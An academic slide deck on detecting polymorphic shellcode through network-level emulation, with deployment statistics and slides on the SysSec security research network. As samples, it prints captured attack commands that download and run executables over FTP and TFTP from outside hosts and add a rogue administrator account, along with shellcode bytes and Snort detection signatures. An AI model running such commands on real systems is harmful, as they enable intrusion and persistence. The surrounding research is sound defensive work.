Real-world Polymorphic Attack Detection

Michalis Polychronakis, Evangelos Markatos

Distributed Computing Systems Lab
FORTH-ICS, Crete Greece
Outline

• Introduction to the problem: shell code attacks – buffer overflows
• Polymorphic attacks (self modifying shell-code)
• Network-level Emulation (NEMU)
• Findings from real-world deployment
• Conclusion
• Malware and Botnets

- Malware and Botnets
- port scanning
- extortion
- DDoS
- illegal content
- phishing
- code injection
- malicious websites
- spam
• How?
• social engineering (phishing, spam, scareware, …)
• viruses (disks, CD-ROMs, USB sticks, warez, …)
• network traffic interception (access credentials, keys, …)
• password guessing (brute force, root:12345678, …)
• physical access (reboot, keylogger, screwdriver, …)
• software vulnerability exploitation
Code Injection Attacks

[Diagram showing two computers communicating and a skull symbol indicating insecure communication.

Evangelos Markatos markatos AT ics.forth.gr  
http://www.cs.rochester.edu/meetings/ASPLOS-mini-symp-12/}
Remote Code-injection Attacks

- Code-injection attacks persist
  - Among the most common methods for remote system compromise
  - e.g., Conficker (MS08-067)
- Mechanics
  1. Send malicious request to network service
  2. Divert the execution flow of the vulnerable process
     - Buffer Overflow
       - (Stack/heap/integer overflow, format string abuse, …)
  3. Execute the injected code (shellcode)
     - Performs arbitrary operations under the privileges of the vulnerable process

\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00
What is a buffer overflow?

```c
void f ( int x )
{
    char buffer[10] ;
    scanf("%s", &buffer) ;
    // other code
}
```

What if the input data is longer than 10 bytes?
What is a buffer overflow?

- Buffer overflow
- Attacker puts code
  - i.e. execve(/bin/sh)
  - In buffer[10]
- And transfers control to it
- Via the return address
Polymorphic Shellcode

- **Self-decrypting code**
  - The actual shellcode is not revealed until runtime
- **Shellcode “packing”** has become essential
  - IDS Evasion
  - Avoidance of restricted bytes in the attack vector
Shellcode as seen on the wire

.. skipping 1 executed instructions

```
1  60000001 42   inc edx
2  60000002 90   nop
3  60000003 42   inc edx
4  60000004 90   nop
5  60000005 42   inc edx
6  60000006 90   nop
7  60000007 42   inc edx
8  60000008 EB02  jmp 0x600000c
9  6000000c E8F9FFFFFF  call 0x6000000a
10  6000000a EB05  jmp 0x60000011
11  60000011 5B  pop ebx
12  60000012 31C9  xor ecx,ecx
13  60000014 B1FD  mov cl,0xfd
14  60000016 80730C77  xor byte [ebx+0xc],0x77
15  6000001a 43  inc ebx
```
• **Problem:** obfuscated polymorphic shellcode can be highly evasive
  
  Each attack instance looks different from each other,
  
  **Difficult to fingerprint**

  Self-modifying code can hide the real malicious code,
  
  **Difficult to statically analyze**
Network-level Emulation

- **Motivation**: Self-modifying shellcode will not reveal its actual form until it is executed on the victim host.

- **Main idea**: execute each network request as if it were executable code
  - Resilience to code obfuscation

- Identify the inherent execution behavior of polymorphic shellcode
  - Focus on the decryption process
  - Generic, independent of the exploit/vulnerability/OS
Polymorphic sc

GetPC code (for finding its place in memory)

Lots of self memory references

Evangelos Markatos markatos AT ics.forth.gr
Real World Deployment - Europe

- ~1.2 million attacks to/from real hosts in
  - 3 National Research Networks (NRNs) in Europe
  - 1 Educational Network in Greece
- April 2007 – October 2008

<table>
<thead>
<tr>
<th>Network</th>
<th>Total # attacks</th>
<th>External</th>
<th>Internal</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>#attacks</td>
<td>#srcIP</td>
</tr>
<tr>
<td>NRN1</td>
<td>1240716</td>
<td>396899</td>
<td>10014</td>
</tr>
<tr>
<td></td>
<td>(32.0%)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>NRN2</td>
<td>12390</td>
<td>2617</td>
<td>1043</td>
</tr>
<tr>
<td></td>
<td>(21.1%)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>NRN3</td>
<td>1961</td>
<td>441</td>
<td>113</td>
</tr>
<tr>
<td></td>
<td>(22.5%)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>EDU</td>
<td>20516</td>
<td>13579</td>
<td>3275</td>
</tr>
<tr>
<td></td>
<td>(66.2%)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Overall Activity: External Attacks

23 ports

413,536 attacks
Overall Activity: Internal Attacks

- Large attack volume due to infected hosts
  - Against hosts inside and outside the organization

862,083 attacks
Attacked Services

```
21  FTP
25  SMTP
42  WINS
80  Web
110 POP3
135 Location service
139 NETBIOS
143 IMAP
445 SMB

453  CreativeServer
1023 W32.Sasser's FTP server
1025 MS RPC
1029 DCOM (alternative)
1082 WinHole trojan
1433 MS SQL server
2000 ShixxNOTE 6.net messenger
2100 Oracle XDB FTP server
2103 MS Message Queueing service

2967 Symantec
2968 Symantec
3050 Borland InterBase DB server
5000 MS UPnP/SSDP
5554 W32.Sasser's FTP server
6881 P2P file sharing client
30708 unknown
41523 CA BrightStor Agent (MS SQL)
```

Shellcode Diversity

- In most cases, the number of unique shellcodes as seen on the wire is comparable to the number of attacks
  - Polymorphism
  - Variable fields in the initial shellcode
## Payload Classes

<table>
<thead>
<tr>
<th>Class</th>
<th>Types</th>
<th>#</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectExe</td>
<td>c</td>
<td>17</td>
</tr>
<tr>
<td>BindExec</td>
<td></td>
<td>9</td>
</tr>
<tr>
<td>HTTPExec</td>
<td></td>
<td>5</td>
</tr>
<tr>
<td>BindShell</td>
<td></td>
<td>4</td>
</tr>
<tr>
<td>AddUser</td>
<td></td>
<td>3</td>
</tr>
<tr>
<td>FTPExec</td>
<td></td>
<td>2</td>
</tr>
<tr>
<td>TFTPExec</td>
<td></td>
<td>1</td>
</tr>
</tbody>
</table>

```
cmd /c echo open 208.111.5.228 2755 > i
& echo user 1 1 >> i
& echo get 2k3.exe >> i
& echo quit >> i
& ftp -n -s:i
& 2k3.exe
& del i

cmd.exe /c net user Backupadmin corrie38 /ADD
&& net localgroup Administrators Backupadmin /ADD

tftp.exe -i 82.82.252.96 get runsvc32.exe```
Doubly-encrypted shellcode

First layer: alpha_mixed variation
Second layer: countdown variation

Decryption  Code execution
References


Summary

• Pattern matching/static analysis not enough
  – Highly polymorphic and self-modifying code

• Network-level emulation
  – Detects self-modifying polymorphic shellcode

• Remote code-injection attacks are still a major threat
  – Increasing sophistication

• Attackers have also turned their attention to less widely used services and third-party applications
Real-world Polymorphic Attack Detection

Michalis Polychronakis, Evangelos Markatos

Distributed Computing Systems Lab
FORTH-ICS, Crete Greece
SysSec: A European Network of Excellence in Managing Threats and Vulnerabilities in the Future Internet

Evangelos Markatos
FORTH-ICS
RoadMap of the talk

- Security Challenges: What is the problem?
  - Hackers are getting more sophisticated
  - The impact of cyberattacks is getting larger

- What will we do?
  - SysSec: 4-year NoE to consolidate Research in managing threats for the Future Internet
RoadMap

- Security Challenges: What is the problem?
  - Hackers are getting more sophisticated
  - The impact of cyberattacks is getting larger

- What will we do?
  - SysSec: 4-year NoE to consolidate Research in managing threats for the Future Internet
What is the impact of attacks?

“… potential (cyber)attacks against network infrastructures may have widespread and devastating consequences on our daily life: no more electricity or water at home, rail and plane accidents, hospitals out of service”

Viviane Reding,
Vice President European Commission
Government: The Parliament under attack

Houses of Parliament computers infected with Conficker virus

The Houses of Parliament IT system has become infected with the Conficker computer virus, it has emerged, raising questions about possible security flaws at the Palace of Westminster.

By Matthew Moore
Published: 7:00AM GMT 27 Mar 2009
Transportation: No train signals

Computer Virus Brings Down Train Signals

The virus infected the computer system at CSX's headquarters, shutting down signaling, dispatching, and other systems for trains throughout the East.

By Marty Niland, Associated Press Writer
InformationWeek
August 20, 2003 06:00 PM

NEW YORK (AP) -- A computer virus was blamed for bringing down train signaling systems throughout the East on Wednesday.

The virus infected the computer system at CSX Corp.'s Jacksonville, Fla., headquarters, shutting down signaling, dispatching, and other systems at about 1:15 a.m. EDT, CSX spokesman Adam Hollingsworth said.

"The cause was believed to be a worm virus similar to those that have
Transportation: No cars

Hacker Disables More Than 100 Cars Remotely

By Kevin Poulsen  March 17, 2010  1:52 pm  Categories: Breaches, Crime, Cybersecurity, Hacks and Cracks

More than 100 drivers in Austin, Texas found their cars disabled or the horns honking out of control, after an intruder ran amok in a web-based vehicle-immobilization system normally used to get the attention of consumers delinquent in their auto payments.

Police with Austin’s High Tech Crime Unit on Wednesday arrested 20-year-old Omar Ramos-Lopez, a former Texas Auto Center employee who was laid off last month, and allegedly sought revenge by hijacking the cars sold from the dealership’s four Austin area lots.
Energy: No electricity

Energy Resources

Computer virus in Australian power grid

Published: Oct. 2, 2009 at 4:22 PM

SYDNEY, Oct. 2 (UPI) -- A "sinister" computer virus has infected computers controlling Australia's Integral Energy power grid.
Defense: fighter planes grounded

French fighter planes grounded by computer virus

French fighter planes were unable to take off after military computers were infected by a computer virus, an intelligence magazine claims.
What about our lives? Are they next?

Hacking the Human Heart: Medical Devices Found Subject to Technical Attack

Since the dawn of the 1970's television action show the Six Million Dollar Man, the public has been fascinated by bionics and the integration of technology into the human body. What once seemed to be a far-off science fiction fantasy, is increasingly, however, becoming real. For years, surgeons have been replacing human
RoadMap

- Security Challenges: What is the problem?
  - Hackers are getting more sophisticated
  - The impact of cyberattacks is getting larger

- What will we do?
  - SysSec: 4-year NoE to consolidate Research in managing threats for the Future Internet
What’s next?

- **SysSec**: managing threats and vulnerabilities for the future Internet
  - a Network of Excellence (2010-2014)
- **Why?**
  - We need to work towards solutions
  - We need to collaborate
    - At a European level
    - With our international colleagues
      - Around the world

- Poli. di Milano (IT)
- Vrije Universiteit (NL)
- Institute Eurecom (FR)
- BAS (Bulgaria)
- TU Vienna (Austria)
- Chalmers U (Sweden)
- TUBITAK (Turkey)
- FORTH – ICS (Greece)
What is SysSec?

- SysSec proposes a *game-changing* approach to cybersecurity:
  - Currently Researchers are mostly reactive:
    - they usually track cyberattackers *after* an attack has been launched
    - thus, researchers are always one step behind attackers
  - SysSec aims to break this vicious cycle
  - Researchers should become more *proactive*:
    - Anticipate attacks and vulnerabilities
    - Predict and prepare for future threats
    - Work on defenses *before* attacks materialize.
SysSec Aim and Objectives (I)

- Create an active, vibrant, and collaborating community of Researchers with
  - the expertise, capacity, and determination to anticipate and mitigate the emerging threats and vulnerabilities on the Future Internet.

- SysSec aims
  - to create a sense of "community" among those researchers,
  - to mobilize this community,
  - to consolidate its efforts,
  - to expand their collaboration internationally, and
  - become the single point of reference for Systems Security research in Europe.
SysSec Aim and Objectives (II)

- Advance European Security Research well beyond the state of the art
  - research efforts are fragmented
  - SysSec aims to **provide a research agenda** and
  - **align their research activities** with the agenda
  - make SysSec a **leading player** in the international arena.
SysSec Aim and Objectives (III)

- Create a **virtual distributed Center of Excellence** in the area of emerging threats and vulnerabilities.
  - By forming a **critical mass** of European Researchers and by aligning their activities,
  - Have the gravitas needed to play a **leading role internationally**, empowered to undertake large-scale, ambitious and high-impact research efforts.

- Create a **Center of Academic Excellence** in the area
  - create an education and training program targeting young researchers and the industry.
  - lay the foundations for a common graduate degree in the area with emphasis on Systems Security.
SysSec Aim and Objectives (IV)

- Maximize the impact of the project by proactive dissemination to the appropriate stakeholders.
  - disseminate its results to international stakeholders so as to form the needed strategic partnerships (with similar projects and organizations overseas) to play a major role in the area.
  - dissemination within the Member States will
    - reinforce SysSec's role as a center of excellence and
    - make SysSec a beacon for a new generation of European Researchers.

- Create Partnerships and transfer technology to the European Security Industry.
  - create a close partnership with Security Industry
  - facilitate technology transfer wherever possible to further strengthen the European Market.
SysSec: How can you collaborate

- Contribute to the research roadmap/agenda
  - Provide feedback on emerging threats
  - Share your ideas on future security issues

- Contribute to our “systems security” University curriculum
  - Contribute homeworks/exams
  - Contribute/use lab exercises
  - Teach some of the courses at your University
  - Share some of your course material

- Become an “Associated Partner” of the project
Summary

- **DCS**
  - Conducts R&D in large-scale infrastructures
  - Designed and implemented of LOBSTER: the largest academic European Internet monitoring infrastructure
  - Headed the design and implementation of the NoAH Honeypot infrastructure
  - Heads SysSec: the largest European Network of Excellence in systems Security
Real-world Polymorphic Attack Detection

Michalis Polychronakis, Evangelos Markatos

Distributed Computing Systems Lab
FORTH-ICS, Crete Greece
fallback slides
Attack Trace Repository

- http://lobster.ics.forth.gr/traces/
  - Public access
- Full payload traces of some of the captured attacks
- Tricky anonymization
  - Application-level protocols need to be carefully anonymized
  - Sensitive information in the encrypted payload!
Ongoing/Future Work

• New detection heuristics
  – Plain/metamorphic shellcode (no self-modifications)
  – Host-dependent shellcode
  – Client-side attacks
  – Other languages (e.g., Javascript)

• Improved CPU emulator
  – Faster
  – Complete instruction set

• Analyze captured attacks
  – and the related malware binaries
Detection Heuristic

1. GetPC code
   - The decryptor must find the absolute address of the encrypted payload for accessing it (not known in advance)
   - call, fstenv/fnstenv, fsave/fnsave

2. Self-references
   - The decryptor reads from several distinct memory locations in its own body
Polymorphic Shellcode Engines

- Off-the-shelf polymorphic shellcode engines
- Original shellcode is 128 bytes, 1000 mutations with each engine
  - In all cases the shellcode is decrypted correctly
Passive Network Monitoring

- Examine the network traffic as it passes by...
  - Packet capture (tcpdump), NetFlow, ...
- Non-intrusive: invisible on the network
  - vs. active monitoring (e.g., ping)
- Many applications
  - Performance Measurements
  - Intrusion detection
  - Traffic characterization
  - Network trouble-shooting
  - Network planning

Evangelos Markatos markatos AT ics.forth.gr

http://www.cs.rochester.edu
Example Snort Signatures

alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE Linux shellcode"; content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; classtype:shellcode-detect; sid:652; rev:9;)

alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE x86 setuid 0"; content:"|B0 17 CD 80|"; classtype:system-call-detect; sid:650; rev:8;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 10202:10203 (msg:"CA license GCR overflow attempt"; flow:to_server,established; content:"GCR NETWORK<"; depth:12; offset:3; nocase; pcre:"/^\S{65}\S+\S{65}\S+\S+\S+\S+\S+\S{65}/Ri"; sid:3520;)

Evangelos Markatos markatos AT ics.forth.gr http://www.cs.rochester.edu/meetings/ASPLOS-mini-symp-12/